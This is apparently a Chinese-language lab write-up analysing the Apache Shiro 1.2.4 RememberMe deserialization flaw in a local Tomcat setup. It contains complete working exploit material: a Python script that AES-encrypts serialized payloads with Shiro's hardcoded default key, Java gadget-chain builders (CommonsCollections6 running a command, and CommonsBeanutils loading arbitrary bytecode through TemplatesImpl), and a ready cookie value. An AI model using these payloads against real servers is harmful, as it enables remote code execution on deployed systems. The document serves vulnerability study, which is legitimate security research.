环境搭建
下载源码
1 2 3
| git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
|
修改shiro/samples/web目录下的pom.xml
中jstl版本为1.2
后更新maven

部署tomcat
(这里我权限不足 给上级目录更改了下权限)
1
| sudo chmod -R 777 tomcat
|

漏洞分析
Cookie
到登录页面登录并勾选Remember Me
burp抓个包看看

请求后会返回Cookie

并在后续请求中也会带上这个Cookie

静态分析源码
IDEA中Shift+Shift
搜索Shiro包中的和cookie相关的类CookieRememberMeManager.java
发现两个函数


找一下哪里调用了getRememberedSerializedIdentity
将字节转化为认证信息

解密+反序列化

跟一下反序列化函数deserialize



发现调取了原生的反序列化

再回到AbstractRememberMeManager.java
跟进一下解密函数decrypt


用Key解密的 应该为对称加密

回到解密函数


看decryptionCipherKey
是在哪赋值的



发现常量DEFAULT_CIPHER_KEY_BYTES
跟进后发现为固定的值 且算法为AES

也就是说:在Shiro1.2.4版本,于RememberMe
功能相关的加密使用固定的key加密
,且加密算法为AES算法
。
漏洞利用
JDK内置链打法
为什么不用CC链
Shiro
自带的依赖里好像有CC

但用插件看下发现有很多依赖库都是[Test] 实际只能用[compile]和[runtime]

所以直接用CC
打是打不了的,这里可以用commons-beanutils
来打(先不打)

构造payload
先用Shiro原生的打,使用URLDNS
序列化生成ser.bin

拷贝进脚本同目录

加密脚本exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import sys import base64 import uuid from random import Random from Crypto.Cipher import AES
def get_file_data(filename): with open(filename,'rb') as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintxt = encryptor.decrypt(enc_data[16:]) plaintxt = unpad(plaintxt) return plaintxt
if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
|
生成替换密钥
生成密钥
1 2
| (shiro_AES_exp) ➜ exp python exp.py b'TFJpdNMoTaqdUJqGEufEbIpwn5h5mH44sIfGlec5dZveEvXDbFmQed0eXqHQeSpvnOfrFhcYj5+pkkfGWQPEPx00ZjZ4kjgMl4W0vgIJFdkwDbeXRHllxCu2SGqDV1SJInXANAtRevP1IxJt2pACT42W/gqSNi6BRduOCblG47xn0YeT/KOSgULNjVZ1PoaWfHVbndkKonQhfRbhZgYJIIZ7IprRscHGfJC20g2VMnB+OYeCHPp2GQWt4cJWc3Lh26HHWna8yWhPV2RdM8C/y6ZIHKbSVqlZynX3jQ3+ncgm6spKutyOJiRhtU3EJivebfecc0U/TQh7ajbKLWccNfEiEYdIjnjqr2y3afOXzFBlhJayLIOOWLXBFUnGFY5qMlrY9R0bAfZzB9TYaM8tWy+YOyG+bIgMLIcbb3hTxvabvEnRAknFx5P8B880f8nujoJdelu2+eSY1MNcNjntz+O/FMWcbtXr81ioPQn7HlbsQMfRDKGoLFyLW6zd6eZd'
|
1
| TFJpdNMoTaqdUJqGEufEbIpwn5h5mH44sIfGlec5dZveEvXDbFmQed0eXqHQeSpvnOfrFhcYj5+pkkfGWQPEPx00ZjZ4kjgMl4W0vgIJFdkwDbeXRHllxCu2SGqDV1SJInXANAtRevP1IxJt2pACT42W/gqSNi6BRduOCblG47xn0YeT/KOSgULNjVZ1PoaWfHVbndkKonQhfRbhZgYJIIZ7IprRscHGfJC20g2VMnB+OYeCHPp2GQWt4cJWc3Lh26HHWna8yWhPV2RdM8C/y6ZIHKbSVqlZynX3jQ3+ncgm6spKutyOJiRhtU3EJivebfecc0U/TQh7ajbKLWccNfEiEYdIjnjqr2y3afOXzFBlhJayLIOOWLXBFUnGFY5qMlrY9R0bAfZzB9TYaM8tWy+YOyG+bIgMLIcbb3hTxvabvEnRAknFx5P8B880f8nujoJdelu2+eSY1MNcNjntz+O/FMWcbtXr81ioPQn7HlbsQMfRDKGoLFyLW6zd6eZd
|
Cookie
内包含两个身份验证的参数 分别为JSESSIONID
和rememberMe
在身份验证时的逻辑为:优先验证JSESSIONID
,若存在则不会读取rememberMe
故:只替换修改请求包中的rememberMe
的值,如图无法向下进行反序列化

所以在替换rememberMe
的值的同时,还需删除JSESSIONID
,才能够保证反序列化正常执行

根据回显可知成功调用反序列化

动态分析源码






重新提交一次数据包 发现停在断点处


接下来会调取HashMap



CC链的利用
因为Shiro内置不带CC依赖,这里先添加上CC3
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|

直接先用cc6
生成ser.bin
生成RememberMe
值做请求



看下ClassResolvingObjectInputStream
内是如何定义的
发现重写了一个resolveClass
(是一个用于在对象反序列化过程中进行类解析的方法,该方法属于 ObjectInputStream 类的内部类 ObjectStreamClass),在重写后则会调用重写的这个resolveClass
方法
对比一下重写前后



若想成功利用,需解决加载不到这个数组类
的问题,所以要不出现数组(在此不详述:为什么加载不了?与tomcat类加载机制有关)

结合之前CC1-CC7
链的学习 如何在不出现Transformer数组的前提下
拼接一条可利用的链
不能走Runtime.exec()
,因为无法避免要用到数组

可以使用之前CC2
的后半段(不会出现数组类) 但前半段不能使用

可以拼接CC2+CC3+CC6
(CC6可以控制输入)
动态加载类<–TemplatesImpl.newTransformer<–invokerTransformer
HashMap.readObject–>TiedMapEntry.get–>LazyMap.get–>invokerTransformer–>Templateslmpl.
newTransformer–>动态加载类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class cc6Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
serialize(map2);
} public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
执行序列化生成ser.bin
并复制替换到exp.py目录下生成新的exp


忽略断点后提交请求 成功执行命令

CB链的利用
删除pom.xml里的commons-collections
依赖

在ShiroExp项目pom.xml内添加与web项目版本一致的CB依赖

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| Person.java ```java package org.example; public class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
|
BeanTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example; import org.apache.commons.beanutils.PropertyUtils; public class BeanTest { public static void main(String[] args) throws Exception { Person person = new Person("aaa",18);
System.out.println(PropertyUtils.getProperty(person,"name")); System.out.println(PropertyUtils.getProperty(person,"age"));
} }
|
加断点分析










回想CC3时的TemplatesImpl类的getOutputProperties方法调用了newTransformer


且getOutputProperties的命名格式符合JavaBean的
尝试一下


修改调整一下


这里的Compare是可以利用的

回忆之前的CC2里的优先队列里用到的Compare





回到CC2


链:通过CC2的优先队列找到Compare 且优先队列的值也是可以控制的

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class ShiroCB { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte [] code = Files.readAllBytes(Paths.get("/Users/patrik/Desktop/tmp/Test.class")); byte [][] codes = {code}; bytecodesField.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2); Class<PriorityQueue> c = PriorityQueue.class; Field comparatorField = c.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(priorityQueue, beanComparator); serialize(priorityQueue);
} public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|

生成密钥


补充
补充1:CB默认依赖CC依赖的问题
没打成功看日志发现CC下的ComparableComparator


BeanComparator在构造时传入了ComparableComparator

用到了CC里的依赖 而CB没有

解决:ComparableComparator的另一个构造函数 可以自己传一个CB或JDK里有的comparator即可
即需同时继承Comparator接口和Serializable接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| with open('comparator.txt') as f: data = f.readline() coms = [] while data: coms.append(data) data = f.readline()
with open('serializable.txt') as d: data = d.readline() sers = [] while data: sers.append(data) data = d.readline()
print(*[i for i in coms if i in sers])
|


添加即可
补充2:用ysoserial打 依赖库版本不同报错
ysoserial的CB依赖版本

环境本身的CB依赖

CB依赖版本不一致导致报错
因事先指定版本与环境版本一致 所以能打成功
